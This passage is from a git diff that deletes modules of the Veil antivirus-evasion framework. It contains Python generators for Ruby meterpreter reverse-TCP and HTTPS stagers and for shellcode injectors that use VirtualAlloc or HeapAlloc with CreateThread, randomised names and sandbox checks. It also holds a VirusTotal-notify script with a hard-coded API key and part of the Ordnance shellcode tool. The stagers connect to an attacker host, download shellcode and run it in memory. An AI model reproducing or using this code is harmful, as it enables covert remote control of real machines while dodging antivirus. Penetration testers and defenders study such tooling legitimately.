0x1000 ? sc.length : 0x1000), 0)\n" - payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" - - payload_code += "\tend\nend\n" - - payload_code += "uri = URI.parse(\"https://%s:%s/#{ch()}\")\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) - payload_code += "http = Net::HTTP.new(uri.host, uri.port)\n" - payload_code += "http.use_ssl = true\n" - payload_code += "http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n" - payload_code += "request = Net::HTTP::Get.new(uri.request_uri)\n" - payload_code += "response = http.request(request)\n" - payload_code += "ij(response.body)\n" - - # Close out all the if statements - for iteration in range(num_ends_required): - payload_code += 'end\n' - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/ruby/meterpreter/rev_tcp.py b/Tools/Evasion/payloads/ruby/meterpreter/rev_tcp.py deleted file mode 100644 index 9357b10..0000000 --- a/Tools/Evasion/payloads/ruby/meterpreter/rev_tcp.py +++ /dev/null @@ -1,115 +0,0 @@ -""" -Custom-written pure ruby meterpreter/reverse_tcp stager - -TODO: better randomization - -Module built by @harmj0y -Updated by @ChrisTruncer -""" - -from datetime import date -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" - self.language = "ruby" - self.extension = "rb" - self.rating = "Normal" - self.name = "Pure Ruby Reverse TCP Stager" - self.path = "ruby/meterpreter/rev_tcp" - self.cli_opts = cli_obj - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "The listen target address"], - "LPORT" : ["4444", "The listen port"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "USERNAME" : ["X", "Optional: The required user account"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - payload_code = "require 'rubygems';require 'win32/api';require 'socket';include Win32\n" - # Add logic for adding this line, stupid bug and I have no idea - # why this is even a problem, but ruby is dumb - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": - pass - else: - payload_code += "exit if Object.const_defined?(:Ocra)\n" - - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X": - payload_code += 'require \'socket\'\n' - - payload_code2, num_ends_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # randomly generate out variable names - payloadName = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - threadName = evasion_helpers.randomString() - valloc_random = evasion_helpers.randomString() - rtlmove_random = evasion_helpers.randomString() - createthread_random = evasion_helpers.randomString() - waitfor_random = evasion_helpers.randomString() - heapcreate_random = evasion_helpers.randomString() - heapalloc_random = evasion_helpers.randomString() - heap_name = evasion_helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - - payload_code += "$g_o = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')\n" - - payload_code += "def g(ip,port)\n" - payload_code += "\tbegin\n" - payload_code += "\t\ts = TCPSocket.open(ip, port)\n" - payload_code += "\t\tpl = Integer(s.recv(4).unpack('L')[0])\n" - payload_code += "\t\tp = \" \"\n" - payload_code += "\t\twhile p.length < pl\n\t\tp += s.recv(pl) end\n" - payload_code += "\t\tp[0] = ['BF'].pack(\"H*\")\n" - payload_code += "\t\tsd = $g_o.call(s.fileno)\n" - payload_code += "\t\tfor i in 1..4\n\t\t\tp[i] = Array(sd).pack('V')[i-1] end\n" - payload_code += "\t\treturn p\n" - payload_code += "\trescue\n\treturn \"\"\n\tend\nend\n" - - payload_code += "def ij(sc)\n" - payload_code += "\tif sc.length > 1000\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" - payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" - - payload_code += "\tend\nend\n" - - payload_code += "ij(g(\"%s\",%s))\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) - - # Close out all the if statements - for iteration in range(num_ends_required): - payload_code += 'end\n' - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/ruby/shellcode_inject/base64.py b/Tools/Evasion/payloads/ruby/shellcode_inject/base64.py deleted file mode 100644 index 382082d..0000000 --- a/Tools/Evasion/payloads/ruby/shellcode_inject/base64.py +++ /dev/null @@ -1,120 +0,0 @@ -""" -Ruby inline base64 decoding of shellcode and injector - -TODO: better randomization - -Module built by @ChrisTruncer -""" - -import base64 -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "Base64 decode for shellcode injection" - self.language = "ruby" - self.extension = "rb" - self.rating = "Normal" - self.name = "Ruby Base64 Encoded" - self.path = "ruby/shellcode_inject/base64" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "USERNAME" : ["X", "Optional: The required user account"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # How I'm tracking the number of nested tabs needed - # to make the payload - num_ends_required = 0 - payload_code = '' - - # randomly generate out variable names - payloadName = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - threadName = evasion_helpers.randomString() - heap_name = evasion_helpers.randomString() - - payload_code = "require 'rubygems'\n" - payload_code += "require 'win32/api'\n" - payload_code += "include Win32\n" - payload_code += "require 'base64'\n" - # Add logic for adding this line, stupid bug and I have no idea - # why this is even a problem, but ruby is dumb - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": - pass - else: - payload_code += "exit if Object.const_defined?(:Ocra)\n" - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - # Base64 Encode Shellcode - Shellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii') - - payload_code2, num_ends_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # randomly generate out variable names - payloadName = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - valloc_random = evasion_helpers.randomString() - heap_name = evasion_helpers.randomString() - heapcreate_random = evasion_helpers.randomString() - heapalloc_random = evasion_helpers.randomString() - rtlmove_random = evasion_helpers.randomString() - createthread_random = evasion_helpers.randomString() - waitfor_random = evasion_helpers.randomString() - protect_out = evasion_helpers.randomString() - rand_protect = evasion_helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I');" + rand_protect + " = API.new('VirtualProtect', 'PIIP', 'I')\n" - payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n" - payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x04)\n" - payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + protect_out + " = " + rand_protect + ".call(" + ptrName + ",(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x20, 0); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n" - payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n" - payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n" - payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" - - # Close out all the if statements - for iteration in range(num_ends_required): - payload_code += 'end\n' - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/ruby/shellcode_inject/flat.py b/Tools/Evasion/payloads/ruby/shellcode_inject/flat.py deleted file mode 100644 index 0e01df5..0000000 --- a/Tools/Evasion/payloads/ruby/shellcode_inject/flat.py +++ /dev/null @@ -1,108 +0,0 @@ -""" -Ruby inline shellcode injector - -TODO: better randomization -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "VirtualAlloc pattern for shellcode injection" - self.language = "ruby" - self.extension = "rb" - self.rating = "Normal" - self.name = "Ruby Flat Injection" - self.path = "ruby/shellcode_inject/flat" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "USERNAME" : ["X", "Optional: The required user account"], - #"MINRAM" : ["X", "Optional: Minimum amount of ram on target"], - #"USERPROMPT" : ["X", "Optional: Prompt user prior to execution"], - #"DISKSIZE" : ["X", "Optional: Set minimum disk size"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - payload_code = "require 'rubygems'\n" - payload_code += "require 'win32/api'\n" - payload_code += "include Win32\n" - - # Add logic for adding this line, stupid bug and I have no idea - # why this is even a problem, but ruby is dumb - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": - pass - else: - payload_code += "exit if Object.const_defined?(:Ocra)\n" - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - - payload_code2, num_ends_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # randomly generate out variable names - payloadName = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - threadName = evasion_helpers.randomString() - heap_name = evasion_helpers.randomString() - valloc_random = evasion_helpers.randomString() - rtlmove_random = evasion_helpers.randomString() - createthread_random = evasion_helpers.randomString() - waitfor_random = evasion_helpers.randomString() - heapcreate_random = evasion_helpers.randomString() - heapalloc_random = evasion_helpers.randomString() - rand_protect = evasion_helpers.randomString() - protect_out = evasion_helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I');" + rand_protect + " = API.new('VirtualProtect', 'PIIP', 'I')\n" - payload_code += "%s = \"%s\"\n" %(payloadName, Shellcode) - payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x04)\n" - payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + protect_out + " = " + rand_protect + ".call(" + ptrName + ",(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x20, 0); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - payload_code += "%s = \"%s\"\n" %(payloadName, Shellcode) - payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n" - payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n" - payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" - - # Close out all the if statements - for iteration in range(num_ends_required): - payload_code += 'end\n' - - self.payload_source_code = payload_code - return \ No newline at end of file diff --git a/Tools/Evasion/payloads/template.py b/Tools/Evasion/payloads/template.py deleted file mode 100644 index d371443..0000000 --- a/Tools/Evasion/payloads/template.py +++ /dev/null @@ -1,60 +0,0 @@ -""" -Description of the payload - -Additional notes, sources, links, etc - -Module built by @ -""" - -# framework import to access shellcode generation -from modules.common import shellcode - -# framework import to access common helper methods, including randomization -from modules.common import helpers - -# framework import to access encryption and source code obfuscation methods -from modules.common import encryption - -# the main config file -import settings - -# Main class must be titled "Payload" -class Payload: - - def __init__(self): - # required options - self.description = "description" - self.language = "python/cs/powershell/whatever" - self.rating = "Poor/Normal/Good/Excellent" - self.extension = "py/cs/c/etc." - - self.shellcode = shellcode.Shellcode() - # options we require user ineraction for- format is {OPTION : [Value, Description]]} - # the code logic will parse any of these out and require the user to input a value for them - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_PYHERION" : ["N", "Use the pyherion encrypter"] - } - - # an option note to be displayed to the user after payload generation - # i.e. additional compile notes, or usage warnings - self.notes = "...additional notes to user..." - - # main method that returns the generated payload code - def generate(self): - - # Generate Shellcode Using msfvenom - Shellcode = self.shellcode.generate(self.required_options) - - # build our your payload sourcecode - PayloadCode = "..." - - # add in a randomized string - PayloadCode += helpers.randomString() - - # example of how to check the internal options - if self.required_options["USE_PYHERION"][0].lower() == "y": - PayloadCode = encryption.pyherion(PayloadCode) - - # return everything - return PayloadCode diff --git a/Tools/Evasion/scripts/vt-notify/README.md b/Tools/Evasion/scripts/vt-notify/README.md deleted file mode 100644 index d041167..0000000 --- a/Tools/Evasion/scripts/vt-notify/README.md +++ /dev/null @@ -1,10 +0,0 @@ -Virus Total Notifier -========= - -This is a fork of Mubix's original VT-notifier script (https://github.com/mubix/vt-notify). - -Modifications from the original: - - -Gmail gem utilization added in (gem install gmail) - -hash list can be hash:exename - -t 0 defaults to a single run diff --git a/Tools/Evasion/scripts/vt-notify/vt-notify.rb b/Tools/Evasion/scripts/vt-notify/vt-notify.rb deleted file mode 100755 index d855ed8..0000000 --- a/Tools/Evasion/scripts/vt-notify/vt-notify.rb +++ /dev/null @@ -1,242 +0,0 @@ -#!/usr/bin/env ruby -# encoding: utf-8 -# -# Slightly modified version of VT-Notify that -# accepts gmail credentials for alerting. -# -# All credit to mubix https://github.com/mubix/vt-notify -# - - -$PROGRAM_NAME = 'VirusTotalNotifier' - -# Require 'rubygems' # Uncomment this for use w/ ruby 1.8.7 -require 'json' -require 'net/http' -require 'digest/sha1' -require 'optparse' -require 'net/smtp' - -def send_email(to,opts={}) - # http://fuelyourcoding.com/emailify-your-app-with-gmail-and-ruby/ - Gmail.new($gmailusername, $gmailpassword) do |gmail| - gmail.deliver do - to "#{to}" - subject "Virus Total Detection" - text_part do - body "#{opts[:body]}" - end - end - end -end - - -def getsha1(filename) - begin - contents = open(filename, "rb") {|io| io.read } - sha1 = Digest::SHA1.hexdigest(contents) - return sha1 - rescue - return - end -end - -def ping_vt(resource) - url = 'http://www.virustotal.com/vtapi/v2/file/report' - uri = URI.parse(url) - response = Net::HTTP.post_form(uri, {"apikey" => $apikey, "resource" => resource}) - return response -end - -def breakuplist(hashlist) - hashgroup = [] - (0.step(hashlist.size, 25)).each do |x| - hashgroup << hashlist[x..(x+25)] - end - return hashgroup -end - -def parse_results(result, hashNameList) - if result['response_code'] == 0 - $notfound += 1 - return - else - $found << result['resource'] - puts "#{result['resource']}:#{hashNameList[result['resource']]} was found #{result['positives']} out of #{result['total']} on #{result['scan_date']}" - end -end - -######### MAIN ############# -argcheck = 0 - -# Parse arguments -OptionParser.new do |o| - o.on('-e EMAIL // email address of who to notify upon detection, will only log to file if not specified') { |emailaddr| $emailaddr = emailaddr } - o.on('-c CREDFILE // file a username[tab] password of gmail account to send through, defaults to creds.txt') { |credfile| $credfile = credfile; argcheck = 1 } - o.on('-s FILENAME // file name of binary to keep track of') { |binname| $binname = binname; argcheck = 1 } - o.on('-S SHA1 // single SHA1 to keep track of') { |sha1arg| $sha1arg = sha1arg; argcheck = 1 } - o.on('-f FILENAME // file containing sha1 hashes of files to keep track of') { |hashfilename| $hashfilename = hashfilename; argcheck = 1 } - o.on('-d DIRECTORY // directory of binaries keep track of') { |directory| $directory = directory; argcheck = 1 } - o.on('-a APIKEYFILENAME // file contianing API key hash on first line, defaults to apikey.txt') { |apikeyfile| $apikeyfile = apikeyfile} - o.on('-l LOGFILENAME // file to write/read positive entries to/from, defaults to results.log') { |logfilename| $logfilename = logfilename} - o.on('-i INTERVAL // how often VT is checked, defaults to every 30 minutes. Use 0 for a single run.') { |interval| $interval = interval.to_i } - o.on('-h') { puts o; exit } - o.parse! -end - -if argcheck == 0 - puts 'No hash input arguments specified. Exiting' - exit -end - -# Make sure arguments have something useful -$interval ||= 1800 # 10 minutes in seconds -$found = [] -$logfilename ||= 'results.log' -$apikeyfile ||= 'apikey.txt' -$credfile ||= 'creds.txt' - -# See the following blog post, but since API limits are based on KEY+IP, -# the VT peeps recommend using an application specific key distributed w/ the tool: -# http://blog.virustotal.com/2012/12/public-api-request-rate-limits-and-tool.html - -begin - $apikey = File.open($apikeyfile) {|f| f.readline.strip} -rescue Errno::ENOENT - puts 'API key file not found. Using built-in: e09d42ac15ac172f50c1e340e551557d6c46d2673fc47b53ef5977b609d5ebe5' - $apikey = 'e09d42ac15ac172f50c1e340e551557d6c46d2673fc47b53ef5977b609d5ebe5' -end - -begin - $gmailcreds = File.open($credfile) {|f| f.readline.strip} - $gmailusername = $gmailcreds.split[0] - $gmailpassword = $gmailcreds.split[1] -rescue Errno::ENOENT - puts 'Gmail credentials not found, can\'t send email...' -end - -puts "Using API key: #{$apikey}" - - -loop { - - hashlist = [] - hashNameList = Hash.new - - if $binname - begin - sha = getsha1($binname) - hashlist << sha - hashNameList[$binname] = sha - rescue Errno::ENOENT - puts 'Binary not found, exiting' - exit - end - end - - if $hashfilename - begin - File.open($hashfilename, 'r').each_line do |line| - hash, name = line.strip.split(":") - hashlist << hash - hashNameList[hash] = name - end - rescue Errno::ENOENT - puts 'Hash file not found, exiting' - exit - end - end - - if $sha1arg - hashlist << $sha1arg - hashNameList[$sha1arg] = nil - end - - if $directory - begin - wd = Dir.getwd - Dir.chdir($directory) - filelist = Dir['**/*'].reject {|fn| File.directory?(fn)} - puts 'Generating SHA1 of all files in directory recursively, this could take a while' - puts 'This is done each for each check just in case files change.' - filelist.each do |file| - sha = getsha1(file) - hashlist << sha - hashNameList[file] = sha - end - # Return to working directory - Dir.chdir(wd) - rescue Errno::ENOENT - puts 'No such folder specified for -d, please insert 5¢ and try again' - Dir.chdir(wd) - exit - end - end - - if hashlist.size == 0 - puts 'Hash list is empty for one reason or another' - puts 'I will sleep for 30 seconds and then check again' - sleep(30) - next - end - - # Remove already detected - $found.each do |removeme| - hashlist.delete(removeme) - end - - - hashgroup = [] - $notfound = 0 - hashgroup = breakuplist(hashlist) - - # Delete any empty groups as a result of the list being divisible by 25 - hashgroup.delete([]) - - # Puts hashgroup.inspect - apiminutelimit = 1 - hashgroup.each do |group| - response = ping_vt(group.join(',')) - if apiminutelimit == 4 - puts 'Virus Total API limits 4 requests per minute, limit reached, sleeping for 60 seconds' - apiminutelimit = 0 - sleep(60) - else - apiminutelimit += 1 - end - - if response.body != nil - results = JSON.parse(response.body) - - if results.class == Array - results.each do |result| - parse_results(result, hashNameList) - end - elsif results.class == Hash - parse_results(results, hashNameList) - end - else - puts "No response from Virus Total, delaying for 10 seconds and trying again..." - sleep(10) - redo - end - end - - #system("clear") - puts "" - puts " ======================================" - puts " VT-Notify RESULTS " - puts " ======================================" - puts " Checked: #{hashlist.size}" - puts " Not found: #{$notfound.to_s}" - puts " Found: #{$found.size}" - puts "" - - if ($interval == 0) - puts "single check complete, exiting" - exit - else - puts "check complete, sleeping for #{$interval} seconds" - sleep($interval) - end -} diff --git a/Tools/Ordnance/Tool.py b/Tools/Ordnance/Tool.py deleted file mode 100644 index 159e7c7..0000000 --- a/Tools/Ordnance/Tool.py +++ /dev/null @@ -1,393 +0,0 @@ -""" -This is the Veil-Ordnance module -""" - -import glob -import imp -import readline -import sys -from lib.common import helpers -from lib.common import completer -from tools.ordnance.ordnance_common import ordnance_helpers -from tools.ordnance.encoders import * -from tools.ordnance.payloads.x86 import * - - -class Tools: - - def __init__(self, cli_options=None): - self.cli_name = "Ordnance" - self.description = "Generates shellcode for supported payloads" - # all encoders within the encoders directory - self.active_encoders = {} - # Payloads currently within the x86 payload directory - self.active_shellcode = {} - # Load all encoder modules - self.load_encoders(cli_options) - # Load all payload modules - self.load_payloads(cli_options) - self.command_options = cli_options - self.ordnance_main_menu_commands = { - "list": "List available [payloads] or [encoders]", - "payload": "Use a specific payload", - "info": "Information on a specific payload or encoder", - "exit": "Exit Veil", - "back": "Go to main Veil menu"} - self.final_shellcode = '' - self.shellcode_option_commands = { - "set": "Set shellcode option", - "generate": "Generate the shellcode", - "back": "Go back", - "exit": "Completely exit Veil", - "options": "Show the shellcode's options" - } - # Used to track if invoked by another tool - self.invoked = False - self.selected_payload = '' - self.payload_options = {} - - def cli_menu(self, invoked=False): - # Check to see if we're just listing payloads or encoders - # If so, do that and then exit - if self.command_options.list_payloads: - self.print_payloads() - sys.exit() - elif self.command_options.list_encoders: - self.print_encoders() - sys.exit() - # Now let's check for payloads we're doing - if self.command_options.ordnance_payload: - payload_found = False - for payload in self.active_shellcode.values(): - if self.command_options.ordnance_payload.lower() == payload.cli_name: - payload_found = True - if "LHOST" in payload.required_options: - valid_ip = helpers.validate_ip(self.command_options.ip) - valid_hostname = helpers.validate_hostname(self.command_options.ip) - if valid_ip: - payload.required_options["LHOST"][0] = self.command_options.ip - elif valid_hostname: - if payload.cli_name == 'rev_tcp_dns': - payload.required_options["LHOST"][0] = self.command_options.ip - else: - print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - else: - print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - if "LPORT" in payload.required_options: - if 0 < self.command_options.port < 65535: - payload.required_options["LPORT"][0] = self.command_options.port - else: - print(helpers.color("[*] Error: Invalid port number provided!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - # Generate the original shellcode - payload.cli_gen_shellcode() - self.final_shellcode = payload.customized_shellcode - # Check if an encoder is being called by the user - if self.command_options.encoder is not None: - encoder_found_here = False - if "BadChars" in payload.required_options: - payload.required_options["BadChars"][0] = self.command_options.bad_chars - for loaded_encoder in self.active_encoders.values(): - if self.command_options.encoder.lower() == loaded_encoder.cli_name: - encoder_found_here = True - loaded_encoder.cli_encode(payload) - if not encoder_found_here: - print(helpers.color("[*] Error: Encoder you specified was not found!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - self.final_shellcode = payload.customized_shellcode - if invoked: - pass - else: - payload.payload_stats() - - # If the payload supplied isn't found - if not payload_found: - print(helpers.color("[*] Error: You specified a non-existent Ordnance payload!", warning=True)) - print(helpers.color("[*] Go to start... do not collect $200!", warning=True)) - sys.exit() - - def load_encoders(self, cli_args): - for name in glob.glob('tools/ordnance/encoders/*.py'): - if name.endswith(".py") and ("__init__" not in name): - loaded_encoder = imp.load_source( - name.replace("/", ".").rstrip('.py'), name) - self.active_encoders[name] = loaded_encoder.EncoderModule(cli_args) - return - - def load_payloads(self, cli_args): - for name in glob.glob('tools/ordnance/payloads/x86/*.py'): - if name.endswith(".py") and ("__init__" not in name): - loaded_payloads = imp.load_source( - name.replace("/", ".").rstrip('.py'), name) - self.active_shellcode[name] = loaded_payloads.ShellcodeModule(cli_args) - return - - def print_encoders(self): - print("Available Encoder Modules") - print("Command Line Name => Description") - print("-" * 79) - print() - for encoder_module in self.active_encoders.values(): - print(helpers.color(encoder_module.cli_name) + " => " + encoder_module.name) - return - - def print_shellcode_option_commands(self): - print("Available Commands: \n") - for name in sorted(self.shellcode_option_commands.keys()): - print('\t' + '{0: <8}'.format(name) + "\t\t" + '{0: <8}'.format(self.shellcode_option_commands[name])) - - def print_options_screen(self, pload_object): - ordnance_helpers.title_screen() - print("Payload: " + helpers.color(pload_object.cli_name) + " selected\n") - print(helpers.color("Required Options:\n")) - print('{0: <16}'.format('Name') + '\t' + '{0: <8}'.format('Value') + '\t' + '{0: <8}'.format('Description')) - print('{0: <16}'.format('----') + '\t' + '{0: <8}'.format('-----') + '\t' + '{0: <8}'.format('-----------')) - for opt_name in sorted(pload_object.required_options.keys()): - print('{0: <16}'.format(opt_name) + '\t' + '{0: 